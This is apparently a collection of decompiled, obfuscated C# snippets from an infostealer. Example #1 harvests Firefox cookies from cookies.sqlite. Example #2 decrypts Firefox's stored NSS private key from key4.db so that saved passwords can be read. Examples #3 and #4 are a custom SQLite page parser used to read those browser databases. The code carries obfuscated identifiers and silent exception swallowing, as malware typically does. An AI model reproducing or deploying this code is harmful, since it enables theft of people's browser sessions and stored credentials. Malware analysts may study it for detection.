Example #1
0
        // Token: 0x060001D6 RID: 470 RVA: 0x0000FB58 File Offset: 0x0000DD58
        private static List <Class_66> ParseCookies(string profile)
        {
            List <Class_66> list = new List <Class_66>();

            try
            {
                string text = Path.Combine(profile, "cookies.sqlite");
                if (!File.Exists(text))
                {
                    return(list);
                }
                Class_108 class_ = new Class_108(Class_69.CreateTempCopy(text));
                class_.smethod_400("moz_cookies");
                for (int i = 0; i < class_.prop_3; i++)
                {
                    Class_66 class_2 = null;
                    try
                    {
                        class_2 = new Class_66
                        {
                            prop_0 = class_.pmethod_399(i, "host").Trim(),
                            prop_1 = (class_.pmethod_399(i, "isSecure") == "1"),
                            prop_2 = class_.pmethod_399(i, "path").Trim(),
                            prop_3 = (class_.pmethod_399(i, "isSecure") == "1"),
                            prop_4 = class_.pmethod_399(i, "expiry").Trim(),
                            prop_5 = class_.pmethod_399(i, "name").Trim(),
                            prop_6 = class_.pmethod_399(i, "value")
                        };
                        Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki++;
                    }
                    catch
                    {
                    }
                    if (class_2 != null)
                    {
                        list.Add(class_2);
                    }
                }
            }
            catch
            {
            }
            return(list);
        }
Example #2
0
 // Token: 0x060001D8 RID: 472 RVA: 0x0000FF8C File Offset: 0x0000E18C
 private static byte[] GetPrivate4Key(string file)
 {
     byte[] result = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(result);
         }
         Class_108 class_ = new Class_108(file);
         class_.smethod_400("metaData");
         string   s         = class_.pmethod_399(0, "item1");
         Class_62 class_2   = Class_61.Create(Encoding.Default.GetBytes(class_.pmethod_399(0, "item2)")));
         byte[]   byteDizi_ = class_2.prop_3[0].prop_3[0].prop_3[1].prop_3[0].prop_1;
         byte[]   input     = class_2.prop_3[0].prop_3[1].prop_1;
         Class_71 class_3   = new Class_71(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byteDizi_);
         class_3.smethod_230();
         Class_50.Decrypt(class_3.prop_3, class_3.prop_4, input, PaddingMode.None);
         class_.smethod_400("nssPrivate");
         int    num = class_.prop_3;
         string s2  = string.Empty;
         for (int i = 0; i < num; i++)
         {
             if (class_.pmethod_399(i, "a102") == Encoding.Default.GetString(Class_78.\u0368\u0363\u034A\u035D\u0020\u0E47\u034F\u0355\u0318\u034E\u036B\u034E\u0364\u033B\u0358\u0020kffuazvgifweulwv\u0347\u033C\u032F\u0342\u0325\u0359\u0020\u036B\u031D\u036A\u0342\u0E47\u036F\u0342\u0332\u0324xubcmltrgjxdhotl))
             {
                 s2 = class_.pmethod_399(i, "a11");
                 break;
             }
         }
         Class_62 class_4    = Class_61.Create(Encoding.Default.GetBytes(s2));
         byte[]   byteDizi_2 = class_4.prop_3[0].prop_3[0].prop_3[1].prop_3[0].prop_1;
         byte[]   input2     = class_4.prop_3[0].prop_3[1].prop_1;
         Class_71 class_5    = new Class_71(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byteDizi_2);
         class_5.smethod_230();
         result = Encoding.Default.GetBytes(Class_50.Decrypt(class_5.prop_3, class_5.prop_4, input2, PaddingMode.PKCS7));
     }
     catch
     {
     }
     return(result);
 }
Example #3
0
 // Token: 0x060002E6 RID: 742 RVA: 0x000152A0 File Offset: 0x000134A0
 private bool dmethod_406(ulong arg_0)
 {
     if (this.prop_0[(int)((uint)arg_0)] == 13)
     {
         int num  = Convert.ToInt32(decimal.Subtract(new decimal(this.xmethod_401(Convert.ToInt32(decimal.Add(new decimal(arg_0), 3m)), 2)), 1m));
         int num2 = 0;
         if (this.prop_6 != null)
         {
             num2        = this.prop_6.Length;
             this.prop_6 = (Class_52[])Utils.CopyArray(this.prop_6, new Class_52[this.prop_6.Length + num + 1]);
         }
         else
         {
             this.prop_6 = new Class_52[num + 1];
         }
         int num3 = num;
         for (int i = 0; i <= num3; i++)
         {
             Class_77[] array = null;
             ulong      num4  = this.xmethod_401(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(arg_0), 8m), new decimal(i * 2))), 2);
             if (decimal.Compare(new decimal(arg_0), 100m) != 0)
             {
                 num4 += arg_0;
             }
             int num5 = this.gmethod_403((int)num4);
             this.tmethod_402((int)num4, num5);
             int num6 = this.gmethod_403(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(num5), new decimal(num4))), 1m)));
             this.prop_6[num2 + i].ID = this.tmethod_402(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(num5), new decimal(num4))), 1m)), num6);
             num4 = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(num6), new decimal(num4))), 1m));
             num5 = this.gmethod_403((int)num4);
             num6 = num5;
             long num7 = this.tmethod_402((int)num4, num5);
             long num8 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num4), new decimal(num5)), 1m));
             int  num9 = 0;
             while (num8 < num7)
             {
                 array            = (Class_77[])Utils.CopyArray(array, new Class_77[num9 + 1]);
                 num5             = num6 + 1;
                 num6             = this.gmethod_403(num5);
                 array[num9].Type = this.tmethod_402(num5, num6);
                 if (array[num9].Type > 9L)
                 {
                     if (Class_108.cmethod_404(array[num9].Type))
                     {
                         array[num9].Size = (long)Math.Round((double)(array[num9].Type - 13L) / 2.0);
                     }
                     else
                     {
                         array[num9].Size = (long)Math.Round((double)(array[num9].Type - 12L) / 2.0);
                     }
                 }
                 else
                 {
                     array[num9].Size = (long)((ulong)this.prop_7[(int)array[num9].Type]);
                 }
                 num8 = num8 + (long)(num6 - num5) + 1L;
                 num9++;
             }
             this.prop_6[num2 + i].RowData = new string[array.Length - 1 + 1];
             int num10 = 0;
             int num11 = array.Length - 1;
             for (int j = 0; j <= num11; j++)
             {
                 if (array[j].Type > 9L)
                 {
                     if (!Class_108.cmethod_404(array[j].Type))
                     {
                         if (decimal.Compare(new decimal(this.prop_1), 1m) == 0)
                         {
                             this.prop_6[num2 + i].RowData[j] = Encoding.Default.GetString(this.prop_0, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].Size);
                         }
                         else if (decimal.Compare(new decimal(this.prop_1), 2m) == 0)
                         {
                             this.prop_6[num2 + i].RowData[j] = Encoding.Unicode.GetString(this.prop_0, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].Size);
                         }
                         else if (decimal.Compare(new decimal(this.prop_1), 3m) == 0)
                         {
                             this.prop_6[num2 + i].RowData[j] = Encoding.BigEndianUnicode.GetString(this.prop_0, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].Size);
                         }
                     }
                     else
                     {
                         this.prop_6[num2 + i].RowData[j] = Encoding.Default.GetString(this.prop_0, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].Size);
                     }
                 }
                 else
                 {
                     this.prop_6[num2 + i].RowData[j] = Convert.ToString(this.xmethod_401(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].Size));
                 }
                 num10 += (int)array[j].Size;
             }
         }
     }
     else if (this.prop_0[(int)((uint)arg_0)] == 5)
     {
         int num12 = (int)Convert.ToUInt16(decimal.Subtract(new decimal(this.xmethod_401(Convert.ToInt32(decimal.Add(new decimal(arg_0), 3m)), 2)), 1m));
         for (int k = 0; k <= num12; k++)
         {
             ushort num13 = (ushort)this.xmethod_401(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(arg_0), 12m), new decimal(k * 2))), 2);
             this.dmethod_406(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.xmethod_401((int)(arg_0 + (ulong)num13), 4)), 1m), new decimal((int)this.prop_4))));
         }
         this.dmethod_406(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.xmethod_401(Convert.ToInt32(decimal.Add(new decimal(arg_0), 8m)), 4)), 1m), new decimal((int)this.prop_4))));
     }
     return(true);
 }
Example #4
0
        // Token: 0x060002E5 RID: 741 RVA: 0x00014C50 File Offset: 0x00012E50
        private void vmethod_405(ulong arg_0)
        {
            if (this.prop_0[(int)((uint)arg_0)] == 13)
            {
                ushort num  = (this.xmethod_401((arg_0.ForceTo <decimal>() + 3m).ForceTo <int>(), 2).ForceTo <decimal>() - 1m).ForceTo <ushort>();
                int    num2 = 0;
                if (this.prop_5 != null)
                {
                    num2        = this.prop_5.Length;
                    this.prop_5 = (Class_21[])Utils.CopyArray(this.prop_5, new Class_21[this.prop_5.Length + (int)num + 1]);
                }
                else
                {
                    this.prop_5 = new Class_21[(int)(num + 1)];
                }
                int num3 = (int)num;
                for (int i = 0; i <= num3; i++)
                {
                    ulong num4 = this.xmethod_401((arg_0.ForceTo <decimal>() + 8m + (i * 2).ForceTo <decimal>()).ForceTo <int>(), 2);
                    if (decimal.Compare(arg_0.ForceTo <decimal>(), 100m) != 0)
                    {
                        num4 += arg_0;
                    }
                    int num5 = this.gmethod_403(num4.ForceTo <int>());
                    this.tmethod_402(num4.ForceTo <int>(), num5);
                    int num6 = this.gmethod_403((num4.ForceTo <decimal>() + num5.ForceTo <decimal>() - num4.ForceTo <decimal>() + 1m).ForceTo <int>());
                    this.prop_5[num2 + i].ID = this.tmethod_402((num4.ForceTo <decimal>() + num5.ForceTo <decimal>() - num4.ForceTo <decimal>() + 1m).ForceTo <int>(), num6);
                    num4 = (num4.ForceTo <decimal>() + num6.ForceTo <decimal>() - num4.ForceTo <decimal>() + 1m).ForceTo <ulong>();
                    num5 = this.gmethod_403(num4.ForceTo <int>());
                    num6 = num5;
                    long   value = this.tmethod_402(num4.ForceTo <int>(), num5);
                    long[] array = new long[5];
                    int    num7  = 0;
                    do
                    {
                        num5        = num6 + 1;
                        num6        = this.gmethod_403(num5);
                        array[num7] = this.tmethod_402(num5, num6);
                        if (array[num7] > 9L)
                        {
                            if (Class_108.cmethod_404(array[num7]))
                            {
                                array[num7] = (long)Math.Round((double)(array[num7] - 13L) / 2.0);
                            }
                            else
                            {
                                array[num7] = (long)Math.Round((double)(array[num7] - 12L) / 2.0);
                            }
                        }
                        else
                        {
                            array[num7] = (long)((ulong)this.prop_7[(int)array[num7]]);
                        }
                        num7++;
                    }while (num7 <= 4);
                    Encoding encoding = Encoding.Default;
                    decimal  value2   = this.prop_1.ForceTo <decimal>();
                    if (!1m.Equals(value2))
                    {
                        if (!2m.Equals(value2))
                        {
                            if (3m.Equals(value2))
                            {
                                encoding = Encoding.BigEndianUnicode;
                            }
                        }
                        else
                        {
                            encoding = Encoding.Unicode;
                        }
                    }
                    else
                    {
                        encoding = Encoding.Default;
                    }
                    this.prop_5[num2 + i].Type         = encoding.GetString(this.prop_0, Convert.ToInt32(decimal.Add(new decimal(num4), new decimal(value))), (int)array[0]);
                    this.prop_5[num2 + i].Name         = encoding.GetString(this.prop_0, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0]))), (int)array[1]);
                    this.prop_5[num2 + i].RootNum      = (long)this.xmethod_401(Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0])), new decimal(array[1])), new decimal(array[2]))), (int)array[3]);
                    this.prop_5[num2 + i].SqlStatement = encoding.GetString(this.prop_0, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0])), new decimal(array[1])), new decimal(array[2])), new decimal(array[3]))), (int)array[4]);
                }
                return;
            }
            if (this.prop_0[(int)((uint)arg_0)] != 5)
            {
                return;
            }
            int num8 = (int)Convert.ToUInt16(decimal.Subtract(new decimal(this.xmethod_401(Convert.ToInt32(decimal.Add(new decimal(arg_0), 3m)), 2)), 1m));

            for (int j = 0; j <= num8; j++)
            {
                ushort num9 = (ushort)this.xmethod_401(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(arg_0), 12m), new decimal(j * 2))), 2);
                if (decimal.Compare(new decimal(arg_0), 100m) == 0)
                {
                    this.vmethod_405(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.xmethod_401((int)num9, 4)), 1m), new decimal((int)this.prop_4))));
                }
                else
                {
                    this.vmethod_405(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.xmethod_401((int)(arg_0 + (ulong)num9), 4)), 1m), new decimal((int)this.prop_4))));
                }
            }
            this.vmethod_405(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.xmethod_401(Convert.ToInt32(decimal.Add(new decimal(arg_0), 8m)), 4)), 1m), new decimal((int)this.prop_4))));
        }